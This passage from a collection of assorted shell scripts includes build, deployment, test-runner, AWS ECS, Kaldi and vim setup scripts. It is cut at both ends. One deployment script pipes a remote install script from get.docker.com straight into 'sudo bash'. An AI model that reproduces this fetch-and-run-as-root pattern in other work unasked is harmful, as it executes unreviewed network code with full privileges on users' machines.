-d $DISTDIR/src\n$BASEDIR/../../node_modules/.bin/babel $BASEDIR/../config.js.example -o $DISTDIR/src/config.js\n\ncd $BASEDIR/../..\nnpm install\ncp -R $NODE_MODULES $DISTDIR/"} {"text": "#!/usr/bin/env bash\n#\n# Copyright (c) 2009-2012 VMware, Inc.\n\nset -e\n\nbase_dir=$(readlink -nf $(dirname $0)/../..)\nsource $base_dir/lib/prelude_apply.bash\n\n# this parameters is used by bosh agent\n# we should use vsphere when building for vcloud\ninfrastructure=$stemcell_infrastructure\n[ \"$infrastructure\" == \"vcloud\" ] && infrastructure=vsphere\necho -n $infrastructure > $chroot/var/vcap/bosh/etc/infrastructure\n\necho -n $stemcell_operating_system > $chroot/var/vcap/bosh/etc/operating_system"} {"text": "SimonWorfolk/LBG4-API0\n#! /bin/bash\nnpm install\nnpm test\n\ndocker -v\nexport PORT=5000\n\necho $?\n\nif echo $? = 0; \n\nthen\n echo \"docker already installed\"\nelse\n\ncurl https://get.docker.com | sudo bash\nsudo usermod -aG docker $(whoami)\n\nfi\n\ncd /home/simon_worfolk/LBG4-API\n\nDOCKER_API=$(docker images \"lbg4-api\" --format \"{{.Repository}}\")\nDOCKER_RUN=$(docker ps -a -f name=lbg4-api --format \"{{.Image}}\")\n\nif [ $DOCKER_API ];then\necho \"Image already built\"\nelse \n\n docker build -t lbg4-api .\necho \"New image built\"\nfi\n\nif [ $DOCKER_RUN ];\nthen\n \n docker start lbg4-api\necho \"existing docker container started\"\nelse\n\ndocker run -d -p $PORT:$PORT --name lbg4-api lbg4-api\necho \"new docker container started\" \nfi"} {"text": "#!/usr/bin/env bash\n\n\nget_percent(){\n #used_mem_mb=$(free -m | awk '/^Mem/ {print $3}')\n used_mem_total=$(free -h | awk '/^Mem/ {print $3}' | sed s/i//g)\n\n echo $used_mem_total\\B\n}\n\nmain(){\n ram_percent=$(get_percent)\n echo \"$ram_percent\"\n}\n\n\n#run main driver\nmain"} {"text": "LarsonLab/dnlinv\n#!/bin/bash\nconda activate dnlinv\n\nset -eo pipefail\n\n./0_reco_dip.sh\n./1_reco_dnlinv.sh\n./2_reco_enlive.sh\n./3_reco_espirit.sh\n./4_get_measurements.sh\n./5_create_us_fig.sh"} {"text": "fragments/labels/golang.sh\ngolang)\n # credit: (@theilgaard)\n name=\"GoLang\"\n type=\"pkg\"\n packageID=\"org.golang.go\"\n downloadURL=\"$(curl -fsIL \"https://golang.org$(curl -fs \"https://golang.org/dl/\" | grep -i \"downloadBox\" | grep \"pkg\" | tr '\"' '\\n' | grep \"pkg\")\" | grep -i \"^location\" | awk '{print $2}' | tr -d '\\r\\n')\"\n appNewVersion=\"$( echo \"${downloadURL}\" | sed -E 's/.*\\/(go[0-9.]*)\\..*/\\1/g' )\" # Version includes letters \"go\"\n expectedTeamID=\"EQHXZ8M8AV\"\n blockingProcesses=( NONE )\n ;;"} {"text": "#!/usr/bin/env bash\n\nprintTravisHeartbeat() {\n # Sleep one minute between printouts, but don't zombie for more than two hours\n for ((i=0; i < 120; i++)); do\n sleep 60\n printf \"…\"\n done &\n TRAVIS_HEARTBEAT_PID=$!\n}\n\ncromwellLogTail() {\n (\n while [ ! -f logs/cromwell.log ];\n do\n sleep 2\n printf \"(Cr)\"\n done\n tail -f logs/cromwell.log &\n CROMWELL_LOG_TAIL_PID=$!\n ) &\n CROMWELL_LOG_WAIT_PID=$!\n}\n\ncentaurLogTail() {\n (\n while [ ! -f logs/centaur.log ];\n do\n sleep 2\n printf \"(Ce)\"\n done\n tail -f logs/centaur.log &\n CENTAUR_LOG_TAIL_PID=$!\n ) &\n CENTAUR_LOG_WAIT_PID=$!\n}\n\nkillTravisHeartbeat() {\n if [ -n \"${TRAVIS_HEARTBEAT_PID+set}\" ]; then\n kill ${TRAVIS_HEARTBEAT_PID} || true\n fi\n}\n\nkillCromwellLogTail() {\n if [ -n \"${CROMWELL_LOG_TAIL_PID+set}\" ]; then\n kill ${CROMWELL_LOG_TAIL_PID} || true\n else\n if [ -n \"${CROMWELL_LOG_WAIT_PID+set}\" ]; then\n kill ${CROMWELL_LOG_WAIT_PID} || true\n fi\n fi\n}\n\nkillCentaurLogTail() {\n if [ -n \"${CENTAUR_LOG_TAIL_PID+set}\" ]; then\n kill ${CENTAUR_LOG_TAIL_PID} || true\n else\n if [ -n \"${CENTAUR_LOG_WAIT_PID+set}\" ]; then\n kill ${CENTAUR_LOG_WAIT_PID} || true\n fi\n fi\n}\n\nexitScript() {\n echo \"CENTAUR LOG\"\n cat logs/centaur.log\n killTravisHeartbeat\n killCromwellLogTail\n killCentaurLogTail\n}\n\ntrap exitScript EXIT\ntrap exitScript TERM\ncromwellLogTail\ncentaurLogTail\nprintTravisHeartbeat\n\nset -x\nset -e\n\nsbt assembly\nCROMWELL_JAR=$(find \"$(pwd)/target/scala-2.11\" -name \"cromwell-*.jar\")\nLOCAL_CONF=\"$(pwd)/src/bin/travis/resources/local_centaur.conf\"\ngit clone https://github.com/broadinstitute/centaur.git\ncd centaur\ngit checkout ${CENTAUR_BRANCH}\ncd ..\n# All tests use ubuntu:latest - make sure it's there before starting the tests \n# because pulling the image during some of the tests would cause them to fail \n# (specifically output_redirection which expects a specific value in stderr)\ndocker pull ubuntu:latest\ncentaur/test_cromwell.sh -j\"${CROMWELL_JAR}\" -c${LOCAL_CONF}"} {"text": "magnusjahre/parvec\n#! /bin/sh\n# Copyright (C) 2008-2017 Free Software Foundation, Inc.\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2, or (at your option)\n# any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n\n# Check all notrans_, dist_, nodist_ prefix combinations for MANS\n# primary and install-man dependencies.\n\n. test-init.sh\n\ncat >>configure.ac <<'END'\nAC_OUTPUT\nEND\n\ncat > Makefile.am << 'EOF'\nman_MANS = foo.1 foo2.1\ndist_man_MANS = bar.2 bar2.2\nnodist_man_MANS = baz.3 baz2.3\nnotrans_man_MANS = x-foo.4 x-foo2.4\nnotrans_dist_man_MANS = x-bar.5 x-bar2.5\nnotrans_nodist_man_MANS = x-baz.6 x-baz2.6\nman7_MANS = y-foo.man y-foo2.man\ndist_man5_MANS = y-bar.man y-bar2.man\nnodist_man4_MANS = y-baz.man y-baz2.man\nnotrans_man3_MANS = z-foo.man z-foo2.man\nnotrans_dist_man2_MANS = z-bar.man z-bar2.man\nnotrans_nodist_man1_MANS = z-baz.man z-baz2.man\n\n# These two are ignored.\ndist_notrans_man_MANS = nosuch.8\nnodist_notrans_man9_MANS = nosuch.man\n\ny-foo.man y-foo2.man:\n\t: >$@\ny-bar.man y-bar2.man:\n\t: >$@\ny-baz.man y-baz2.man:\n\t: >$@\nz-foo.man z-foo2.man:\n\t: >$@\nz-bar.man z-bar2.man:\n\t: >$@\nz-baz.man z-baz2.man:\n\t: >$@\n\ntest-install: install\n\ttest -f inst/man/man1/gnu-foo.1\n\ttest -f inst/man/man1/gnu-foo2.1\n\ttest -f inst/man/man2/gnu-bar.2\n\ttest -f inst/man/man2/gnu-bar2.2\n\ttest -f inst/man/man3/gnu-baz.3\n\ttest -f inst/man/man3/gnu-baz2.3\n\ttest -f inst/man/man4/x-foo.4\n\ttest -f inst/man/man4/x-foo2.4\n\ttest -f inst/man/man5/x-bar.5\n\ttest -f inst/man/man5/x-bar2.5\n\ttest -f inst/man/man6/x-baz.6\n\ttest -f inst/man/man6/x-baz2.6\n\ttest -f inst/man/man7/gnu-y-foo.7\n\ttest -f inst/man/man7/gnu-y-foo2.7\n\ttest -f inst/man/man5/gnu-y-bar.5\n\ttest -f inst/man/man5/gnu-y-bar2.5\n\ttest -f inst/man/man4/gnu-y-baz.4\n\ttest -f inst/man/man4/gnu-y-baz2.4\n\ttest -f inst/man/man3/z-foo.3\n\ttest -f inst/man/man3/z-foo2.3\n\ttest -f inst/man/man2/z-bar.2\n\ttest -f inst/man/man2/z-bar2.2\n\ttest -f inst/man/man1/z-baz.1\n\ttest -f inst/man/man1/z-baz2.1\n\ttest ! -d inst/man/man8\n\ttest ! -d inst/man/man9\nEOF\n\n: > foo.1\n: > foo2.1\n: > bar.2\n: > bar2.2\n: > baz.3\n: > baz2.3\n: > x-foo.4\n: > x-foo2.4\n: > x-bar.5\n: > x-bar2.5\n: > x-baz.6\n: > x-baz2.6\n\n$ACLOCAL\n$AUTOCONF\n$AUTOMAKE\n\ngrep '^install-man1:' Makefile.in | grep '\\$(man_MANS)'\ngrep '^install-man2:' Makefile.in | grep '\\$(dist_man_MANS)'\ngrep '^install-man3:' Makefile.in | grep '\\$(nodist_man_MANS)'\ngrep '^install-man4:' Makefile.in | grep '\\$(notrans_man_MANS)'\ngrep '^install-man5:' Makefile.in | grep '\\$(notrans_dist_man_MANS)'\ngrep '^install-man6:' Makefile.in | grep '\\$(notrans_nodist_man_MANS)'\ngrep '^install-man8:' Makefile.in && exit 1\ngrep '^install-man9:' Makefile.in && exit 1\n\ncwd=$(pwd) || fatal_ \"getting current working directory\"\n\n./configure --program-prefix=gnu- --prefix \"$cwd\"/inst \\\n --mandir \"$cwd\"/inst/man\n$MAKE\n$MAKE test-install\ntest $(find inst/man -type f -print | wc -l) -eq 24\n$MAKE uninstall\ntest $(find inst/man -type f -print | wc -l) -eq 0\n\n# Opportunistically test for installdirs.\nrm -rf inst\n$MAKE installdirs\ntest -d inst/man/man1\ntest -d inst/man/man2\ntest -d inst/man/man3\ntest -d inst/man/man4\ntest -d inst/man/man5\ntest -d inst/man/man6\ntest -d inst/man/man7\ntest -d inst/man/man8 && exit 1\ntest -d inst/man/man9 && exit 1\n\n:"} {"text": "mwasilew/conductor0\n#!/bin/bash\n\nREPOSITORY_DIR=\"\"\nREPOSITORY_REMOTE=origin\nCOMMIT_MESSAGE=\"upgrade/rollback testing\"\n\nusage() {\n echo \"Usage: $0 [-d ] [-r ]\n [-m ]\" 1>&2\n exit 1\n}\n\nwhile getopts \"d:r:m:\" o; do\n case \"$o\" in\n # The current working directory will be used by default.\n # Use '-p' specify partition that used for fio test.\n d) REPOSITORY_DIR=\"${OPTARG}\" ;;\n r) REPOSITORY_REMOTE=\"${OPTARG}\" ;;\n m) COMMIT_MESSAGE=\"${OPTARG}\" ;;\n *) usage ;;\n esac\ndone\n\ncd \"${REPOSITORY_DIR}\"\ngit checkout master\ngit commit --allow-empty -m \"${COMMIT_MESSAGE}\"\ngit push \"${REPOSITORY_REMOTE}\" master"} {"text": "gbv/cocoda-servicesupdate.sh1-10\n#!/bin/bash -e\n\nfunction usage {\n echo \"Usage: $0 | all\"\n echo \"Pulls updates via git and restarts service\"\n}\n\n. utils.sh\n\n[[ -d \"$1/.git\" ]] || error \"missing $1/.git\"\n\n# Update via git\ngit -C $1 fetch --tags\ngit -C $1 fetch --all\ngit -C $1 checkout -- package.json || true # workaround for unwanted changes in package.json if necessary\ngit -C $1 checkout -- package-lock.json || true # workaround for unwanted changes in package-lock.json if necessary\ngit -C $1 pull\ngit -C $1 reset --hard\n\n# Install dependencies\n./init.sh $1\n\n# Restart service\n./start.sh $1"} {"text": "0\n#!/bin/bash\n\nsuite='scraper.scraper_run_test.ScraperRunTest'\ntests1=\"\ntest_missing_url_elem\ntest_scraper\ntest_double\ntest_detail_page_url_id_field\ntest_single_standard_id_field\ntest_double_standard_id_field\n\"\ntests2=\"\ntest_standard_update_field\ntest_standard_update_field_update\ntest_save_to_db\ntest_save_to_db_non_model_attribute\ntest_testmode\ntest_task_run_type\n\"\ntests3=\"\ntest_no_task_run_type\ntest_runtime_config_max_items_read\ntest_runtime_config_max_items_save\ntest_max_items_read\ntest_max_items_save\ntest_missing_mandatory\n\"\ntests4=\"\ntest_unicode_standard_field_main_page\ntest_unicode_standard_field_detail_page\ntest_scraper_pause_status\ntest_scraper_inactive_status\n\"\n\nfor (( i = 1; i <= 4; i++ ))\ndo\n var=\"tests$i\"\n for test in `echo ${!var}`\n do\n echo $suite.$test\n python manage.py test $suite.$test &\n sleep 0.2\n done\n wait\ndone"} {"text": "#!/usr/bin/env bash\nREPO_ROOT=$(git rev-parse --show-toplevel)\nexport REPO_ROOT\n\nfunction die() {\n echo \"!! $*\"\n exit 1\n}\n\nfunction need() {\n which \"$1\" &>/dev/null || die \"Binary '$1' is missing but required\"\n}\n\nfunction load_env() {\n if [ \"$(uname)\" == \"Darwin\" ]; then\n set -a\n # shellcheck disable=SC1091\n source \"${REPO_ROOT}/.secrets.env\"\n set +a\n else\n # shellcheck disable=SC1091\n source \"${REPO_ROOT}/.secrets.env\"\n fi\n}"} {"text": "1-10\n#!/bin/bash\n\n\nfunction echo_good\n{\n\techo -e \"\\033[32m$1\\033[0m\\c\"\n}\n\nfunction echo_bad\n{\n\techo -e \"\\033[31m$1\\033[0m\\c\"\n}\n\nfunction echo_success\n{\n\techo_good \"[SUCCESS]\"\n\techo \" $1\"\n}\n\nfunction echo_failure\n{\n\techo_bad \"[FAILURE]\"\n\techo \" $1\"\n\texit -1\n}\n\n# Function taken from Meta Stack Overflow (https://meta.stackoverflow.com)\n# Author: (profile: https://stackoverflow.com/users/7552/glenn-jackman)\n# Original article: https://stackoverflow.com/a/14367368\nfunction is_in_array\n{ \n local array=\"$1[@]\"\n local seeking=$2\n local in=1\n for element in \"${!array}\"; do\n if [[ $element == $seeking ]]; then\n in=0\n break\n fi\n done\n return $in\n}\n\n######################\n# Display quick help #\n######################\nclear;\necho \"Quick help:\";\necho \" - This script is meant to be submit as follows: './submit.sh LANGUAGE IMPLEMENTATION SIZE OUTPUT_FILE'\";\necho \" - LANGUAGE = 'c' | 'f'\";\necho \" - IMPLEMENTATION = 'cpu' | 'gpu'\";\necho \" - SIZE = 'small' | 'big'\";\necho \" - OUTPUT_FILE = the path to the file in which store the output.\";\necho \" - Example: to submit the C CPU version on the small dataset, submit './submit.sh c cpu small'.\";\necho \"\";\n\necho \"Command executing this script: $0 $@\"\n\n#################################\n# Check the number of arguments #\n#################################\nif [ \"$#\" -eq \"4\" ]; then\n\techo_success \"Correct number of arguments received.\"\nelse\n\techo_failure \"Incorrect number of arguments received; $# passed whereas 4 are expected. Please refer to the quick help above.\"\nfi\n\n#############################################\n# Check that the language passed is correct #\n#############################################\nlanguages=(\"c\" \"f\");\nall_languages=`echo ${languages[@]}`;\nis_in_array languages $1\nlanguage_retrieved=$?;\nif [ \"${language_retrieved}\" == \"0\" ]; then\n\techo_success \"The language passed is correct ('$1').\";\nelse\n\techo_failure \"The language '$1' is unknown. It must be one of: ${all_languages}.\";\nfi\n\n###################################################\n# Check that the implementation passed is correct #\n###################################################\nimplementations=(\"cpu\" \"gpu\");\nall_implementations=`echo ${implementations[@]}`;\nis_in_array implementations $2\nimplementation_retrieved=$?;\nif [ \"${implementation_retrieved}\" == \"0\" ]; then\n\techo_success \"The implementation passed is correct (\\\"$2\\\").\";\nelse\n\techo_failure \"The implementation '$2' is unknown. It must be one of: ${all_implementations}.\";\nfi\n\n#########################################\n# Check that the size passed is correct #\n#########################################\nsizes=(\"small\" \"big\");\nall_sizes=`echo ${sizes[@]}`;\nis_in_array sizes $3\nsize_retrieved=$?;\nif [ \"${size_retrieved}\" == \"0\" ]; then\n\techo_success \"The size passed is correct (\\\"$3\\\").\";\nelse\n\techo_failure \"The size '$3' is unknown. It must be one of: ${all_sizes}.\";\nfi\n\n#########################################################\n# Check that the corresponding submission script exists #\n#########################################################\nreference_file=\"./reference/$1/$2_$3.txt\";\nif [ -f \"${reference_file}\" ]; then\n\techo_success \"The corresponding reference file \\\"${reference_file}\\\" has been found.\"\nelse\n\techo_failure \"The corresponding reference file \\\"${reference_file}\\\" has not been found.\"\nfi\n\nreference_iterations_string=`cat ${reference_file} | grep \"Iteration\" | cut -d ' ' -f 3`;\nreference_iterations=($reference_iterations_string)\nreference_iterations_count=${#reference_iterations[@]}\nreference_iteration_achieved=`cat ${reference_file} | grep \"iterations\" | cut -d ' ' -f 10`;\n\niterations_to_verify_string=`cat $4 | grep \"Iteration\" | cut -d ' ' -f 3`;\niterations_to_verify=($iterations_to_verify_string)\nif [ ! \"${iterations_to_verify_string}\" ]; then\n\techo_failure \"No iteration found in your file \\\"${reference_file}\\\".\"\nfi\niterations_to_verify_count=${#reference_iterations[@]}\niterations_to_verify_achieved=`cat $4 | grep \"iterations\" | cut -d ' ' -f 10`;\n\niteration=0\nfor i in ${!iterations_to_verify[@]}; do\n\tif [ ${i} -ge ${reference_iterations_count} ]; then\n\t\techo_success \"Your version ran more iterations than the reference; keep in mind that the extra iterations your program has run could not be checked against the reference. However, iterations are compared with an accuracy to the 18th decimal, it is therefore unlikely your code matches the reference output perfectly and all of a suddent turns out to be completely incorrect for the following iterations; the inaccuracy in the temperature change caused by an error in the code would have built up and become visible by then.\"\n\t\tbreak;\n\tfi\n\tif [ ! \"${reference_iterations[$i]}\" = \"${iterations_to_verify[$i]}\" ]; then\n\t\techo_failure \"Iteration ${iteration} differs: ${reference_iterations[$i]} (reference) vs ${iterations_to_verify[$i]} (you)\";\n\tfi\n\tlet iteration=\"${iteration} + 25\";\ndone\n\necho_success \"All iterations compared are identical to the reference.\"\necho_success \"Number of iterations achieved: ${reference_iteration_achieved} (reference) vs ${iterations_to_verify_achieved} (you).\";"} {"text": "#!/bin/bash -ex\n\nVENV=_virtualenv\n\nif [ ! -d $VENV ]; then\n virtualenv --no-site-packages $VENV\n source $VENV/bin/activate\n\n pip install sphinx\n\n deactivate\nfi\n\nsource $VENV/bin/activate\n\ncd doc\nmake html\nmake latexpdf\n\ndeactivate"} {"text": "#!/bin/sh\nrm -f *~ tmp* movie.gif movie.avi movie.mpeg"} {"text": "path.sh\n# Be sure to change this value accordingly\nexport KALDI_ROOT=/vol/tensusers4/ctejedor/lanewcristianmachine/opt/kaldi\n\n# SRILM is needed for LM model building\nSRILM_ROOT=$KALDI_ROOT/tools/srilm\nSRILM_PATH=$SRILM_ROOT/bin:$SRILM_ROOT/bin/i686-m64\nexport PATH=$PATH:$SRILM_PATH\n\n[ -f $KALDI_ROOT/tools/env.sh ] && . $KALDI_ROOT/tools/env.sh\nexport PATH=$PWD/utils/:$KALDI_ROOT/tools/openfst/bin:$PWD:$PATH\n[ ! -f $KALDI_ROOT/tools/config/common_path.sh ] && echo >&2 \"The standard file $KALDI_ROOT/tools/config/common_path.sh is not present -> Exit!\" && exit 1\n. $KALDI_ROOT/tools/config/common_path.sh\n\nexport LC_ALL=C"} {"text": "#!/bin/bash\n\nsource /vagrant/env.sh\nINTFACE=eth0\n\npython /vagrant/vxlan_tool.py -i ${INTFACE} --do=forward -v on | tee ${HOME}/vxlan_tool.log"} {"text": "#!/bin/bash\n\n_CURR_DIR=\"$( cd \"$(dirname \"$0\")\" ; pwd -P )\"\nrm -rf ./gh-pages .cache\n\nyq w workshop.yaml -s workshop-attributes.yaml > workshop-site.yaml\n\nantora --pull --stacktrace workshop-site.yaml\n\nopen gh-pages/index.html"} {"text": "mizchi-sandbox/my-native-dom\n# Ensure development-speecific code is stripped from the bundle\nmkdir -p dom/dist\n\nexport NODE_ENV=production\n\n# Build the main thread bundle\nreact-native bundle \\\n --config $(pwd)/rn-cli.config.js \\\n --dev false \\\n --platform dom \\\n --entry-file ./dom/bootstrap.js \\\n --assets-dest ./dom/dist \\\n --bundle-output ./dom/dist/bootstrap.bundle\n\n# Build the JS thread bundle\nreact-native bundle \\\n --config $(pwd)/rn-cli.config.js \\\n --dev false \\\n --entry-file ./dom/entry.js \\\n --platform dom \\\n --bundle-output ./dom/dist/entry.bundle \\\n --assets-dest ./dom/dist\n\n# Copy the index.html file to the build destination\ncp dom/index.html dom/dist/index.html"} {"text": "0\n#!/bin/bash\n# Copyright (c) The Dijets Core Contributors\n# SPDX-License-Identifier: Apache-2.0\n\n# A script to check stability of a verification outcome. This runs the same prover\n# task N times with different random seeds and checks whether the produced output\n# (diagnosis or success) stays stable. Use as in\n#\n# check_stability.sh N\n#\n# TODO: we should add here some logic to measure and compare verification timing.\n\nset -e\n\nPROVER=\"cargo run -q -p move-prover --release -- -v=error --stable-test-output\"\nBASELINE=\"check_stability.out\"\n\n$PROVER $1 > $BASELINE 2>&1 || true\nfor n in $(seq 1 $2); do\n rand=$RANDOM\n echo \"experiment #$n with seed $rand\"\n mv $BASELINE $BASELINE.last\n $PROVER --seed=$rand $1 > $BASELINE 2>&1 || true\n if [[ $(diff $BASELINE.last $BASELINE) ]]; then\n echo \"not stable\"\n exit 1\n fi\ndone"} {"text": "0\n#!/bin/sh\nset -e\n\nget_task_definition() {\n task_name=$1\n\n # Thoses keys are returned by the Amazon ECS DescribeTaskDefinition, but are not valid fields when registering a new task definition\n keys_to_omit=\".compatibilities, .taskDefinitionArn, .requiresAttributes, .revision, .status, .registeredBy, .registeredAt\"\n\n returned_task_definition=$(aws ecs describe-task-definition --task-definition \"${task_name}\" | jq .taskDefinition | jq \"del($keys_to_omit)\")\n if [ -z \"${returned_task_definition}\" ]; then\n echo \"ERROR: aws ecs describe-task-definition returned a bad value.\"; exit 1\n fi\n}\n\nset_outputs() {\n should_deploy=$1\n task_definition=$2\n running_stable_task_definition=$3\n\n echo \"::set-output name=should_deploy::$should_deploy\"\n\n output_path=\"/tmp/task-definition.$INPUT_SERVICE.json\"\n echo \"$task_definition\" > \"$output_path\"\n echo \"::set-output name=path::$output_path\"\n\n if [ -n \"$running_stable_task_definition\" ]; then\n stable_output_path=\"/tmp/task-definition.stable.json\"\n echo \"$running_stable_task_definition\" > \"$stable_output_path\"\n echo \"::set-output name=current_stable_task_definition_path::$stable_output_path\"\n fi\n}\n\npretty_print_task_definition() {\n task_definition=$1\n task_definition=$(echo \"$task_definition\" | jq -S '.containerDefinitions[].environment |= sort_by(.name) | .containerDefinitions[].secrets |= sort_by(.name)')\n echo \"$task_definition\"\n}\n\ncontainer_definitions=$(sed -e \"s++$INPUT_IMAGE+g;\" -e \"s++$INPUT_CLUSTER+g;\" \"$INPUT_CONTAINER_DEFINITIONS_PATH\")\ncontainer_definitions=$(\n echo \"$container_definitions\" | \\\n jq '. | map(if has(\"portMappings\") then .portMappings |= map(if .hostPort == null then .hostPort = .containerPort else . end) else . end)'\n)\n\nif [ -f \"$INPUT_SECRETS_PATH\" ]; then\n echo \"Appending secrets for service $INPUT_SERVICE\"\n container_definitions=$(echo \"$container_definitions\" | jq --slurpfile secrets \"$INPUT_SECRETS_PATH\" '(.[] | .secrets) = $secrets[]')\nfi\n\nget_task_definition \"$(echo \"${INPUT_CLUSTER}_${INPUT_SERVICE}\" | tr - _)\"\nlatest_task_definition=$returned_task_definition\nnew_task_definition=$(echo \"$latest_task_definition\" | jq --argjson container_defs \"$container_definitions\" '.containerDefinitions = $container_defs')\n\nif [ -n \"$CURRENT_STABLE_TASKDEF_ARN\" ]; then\n # The variable has a trailing '\\\\n' - probably because it is stored as an environnement variable.\n get_task_definition \"$(echo \"${CURRENT_STABLE_TASKDEF_ARN}\" | tr -d '\\n')\"\n current_stable_taskdef=\"$returned_task_definition\"\n\n current_tmp=\"$(mktemp)\"; pretty_print_task_definition \"$current_stable_taskdef\" > \"$current_tmp\" \n new_tmp=\"$(mktemp)\"; pretty_print_task_definition \"$new_task_definition\" > \"$new_tmp\" \n\n if cmp -s \"$current_tmp\" \"$new_tmp\"; then\n echo \"The task definition has not changed. Deployment will be skipped.\"\n set_outputs \"false\" \"$latest_task_definition\" \"$current_stable_taskdef\"\n exit 0\n else\n echo \"::group::Diff between the current running task definition and the new one\"\n echo \"Current task definition: New task definition diff:\"\n diff -y -t --left-column \"$current_tmp\" \"$new_tmp\" || true # true prevents exit code 1\n echo \"::endgroup::\"\n\n set_outputs \"true\" \"$new_task_definition\" \"$current_stable_taskdef\"\n exit 0\n fi\nfi\n\nset_outputs \"true\" \"$new_task_definition\" \"\""} {"text": "cramjaco/Nyvac_096_Microbiome\n#!/bin/bash\n# modified from from https://gist.github.com/matsen/4263955\ncd ../figures\n# figure 1\ninkscape --without-gui --export-png=\"useiggs.png\" --export-dpi 900 useiggs.svg\nconvert -compress LZW -alpha remove useiggs.png useiggs.tiff\nmogrify -alpha off useiggs.tiff\nmv useiggs.tiff numbered/figure1.tiff\nrm useiggs.png\n\n# figure 2\nconvert -compress LZW -alpha remove wunifrac_Agp41_Bgp120_pcoa.png numbered/figure2.tiff\n\n# figure 3\n\nconvert -compress LZW -alpha remove stacked_bars.png numbered/figure3.tiff\n\n# figure 4\n\nconvert -compress LZW -alpha remove phi_heatmap_withlegend.png numbered/figure4.tiff\n\ncd ../scripts"} {"text": "0\n#!/bin/sh\n\ncat <> /etc/one/oned.conf \nVM_HOOK = [\n name = \"on_failure_recreate\",\n on = \"STOP\",\n command = \"/usr/bin/env onevm delete --recreate\",\n arguments = \"$ID $TEMPLATE\" ]\n\n\nHOST_HOOK = [\n name = \"host_error\",\n on = \"DISABLE\",\n command = \"/var/lib/one/remotes/hooks/ft/host_error.rb\",\n arguments = \"$ID -r\",\n remote = \"no\" ]\nEOT\n\n\nsunstone-server restart\necone-server restart\nocci-server restart\nonegate-server restart\none restart\nsudo service opennebula restart"} {"text": "build.sh\n#!/bin/sh\ndocker build admin/ -t litbox-admin\ndocker build tunnel/ -t litbox-tunnel \ndocker build tor/ -t litbox-tor\ndocker build admin-go/ -t litbox-admin-go"} {"text": "1-10\n[ -f $HOME/.zsh/antigen.zsh ] && source $HOME/.zsh/antigen.zsh\nantigen use oh-my-zsh\n\nantigen bundle git\nantigen bundle ruby\nantigen bundle heroku\nantigen bundle pip\nantigen bundle lein\nantigen bundle gusaiani/elixir-oh-my-zsh\n\n# Syntax highlighting bundle.\nantigen bundle zsh-users/zsh-syntax-highlighting\n\n# Load the theme.\nantigen theme robbyrussell\nantigen theme bhilburn/powerlevel9k powerlevel9k\n\nantigen apply"} {"text": "ubuntu_settings/vim_setting.sh\n#!/bin/bash\n###-- this file mainly set the environment for 'vim' --### \n\n# ============== install vim ================= #\nsudo apt-get install vim-gnome # (with clipboard function)\n\n# ======== change some contents in .vimrc ======== #\n# enable the clipboard among all terminal\necho 'set clipboard^=unnamed' >> ~/.vimrc \n\n# change indent for 4 spaces\n# Source: https://stackoverflow.com/questions/234564/tab-key-4-spaces-and-auto-indent-after-curly-braces-in-vim\necho 'filetype plugin indent on' >> ~/.vimrc\necho '\" show existing tab with 4 spaces width ' >> ~/.vimrc\necho 'set tabstop=4' >> ~/.vimrc\necho '\" when indenting with '>', use 4 spaces width' >> ~/.vimrc\necho 'set shiftwidth=4' >> ~/.vimrc\necho '\" On pressing tab, insert 4 spaces' >> ~/.vimrc\necho 'set expandtab' >> ~/.vimrc"} {"text": "glasgowneuro/attys-comm\n#!/bin/sh\nrm -rf cmake_install.cmake libattyscomm.so*\nrm -rf dist pyattyscomm_wrap.cpp pyattyscomm_wrap.h __pycache__ pyattyscomm.egg-info build pyattyscomm.py\nrm -rf CMakeCache.txt CMakeFiles"} {"text": "bin/eval-conll05-elmo.sh\n#!/usr/bin/env bash\n#\n# Usage: ./eval-conll05.sh [model_dir] (regular|dm|gold)\n\nmodel_dir=$1\nparse_config=$2\n\ndata_dir=$DATA_DIR/conll05st-release-new\n\nvalid_file=$data_dir/dev-set.gz.parse.sdeps.combined.bio\nvalid_props_file=$data_dir/conll2005-dev-gold-props.txt\nvalid_parse_file=$data_dir/conll2005-dev-gold-parse.txt\n\n# WSJ test\nwsj_test_file=$data_dir/test.wsj.gz.parse.sdeps.combined.bio\nwsj_test_props_file=$data_dir/conll2005-test-wsj-gold-props.txt\nwsj_test_parse_file=$data_dir/conll2005-test-wsj-gold-parse.txt\n\n# Brown test\nbrown_test_file=$data_dir/test.brown.gz.parse.sdeps.combined.bio\nbrown_test_props_file=$data_dir/conll2005-test-brown-gold-props.txt\nbrown_test_parse_file=$data_dir/conll2005-test-brown-gold-parse.txt\n\n# D&M injected\n#dm_valid_file=lstm_predicted_parses_elmo/parse_preds-conll2005-lstm-dev24.tsv.replaced\n#dm_wsj_test_file=lstm_predicted_parses_elmo/parse_preds-conll2005-lstm-test.tsv.replaced\n#dm_brown_test_file=lstm_predicted_parses_elmo/parse_preds-conll2005-lstm-test-brown.tsv.replaced\ndm_valid_file=lstm_predicted_parses_elmo_new/parse_preds-conll2005-lstm-dev24.tsv.replaced\ndm_wsj_test_file=lstm_predicted_parses_elmo_new/parse_preds-conll2005-lstm-test.tsv.replaced\ndm_brown_test_file=lstm_predicted_parses_elmo_new/parse_preds-conll2005-lstm-test-brown.tsv.replaced\n\nif [[ \"$parse_config\" == \"dm\" || \"$parse_config\" == \"gold\" ]]; then\n gold_attn_at_train=\"False\"\n inject_manual_attn=\"True\"\n if [[ \"$parse_config\" == \"dm\" ]]; then\n echo \"Doing D&M eval\"\n valid_file=$dm_valid_file\n wsj_test_file=$dm_wsj_test_file\n brown_test_file=$dm_brown_test_file\n else\n echo \"Doing Gold eval\"\n fi\nelse\n echo \"Doing regular eval\"\n gold_attn_at_train=\"True\"\n inject_manual_attn=\"True\"\nfi\n\n# Dev only\n#python $DOZAT_ROOT/network.py \\\n# --load \\\n# --test \\\n# --load_dir $model_dir \\\n# --config_file $model_dir/config.cfg \\\n# --gold_attn_at_train $gold_attn_at_train \\\n# --inject_manual_attn $inject_manual_attn \\\n# --valid_file $valid_file \\\n# --test_file $wsj_test_file \\\n# --gold_test_props_file $wsj_test_props_file \\\n# --gold_dev_parse_file $valid_parse_file \\\n# --gold_test_parse_file $wsj_test_parse_file\n#\n#cp $model_dir/srl_preds.tsv 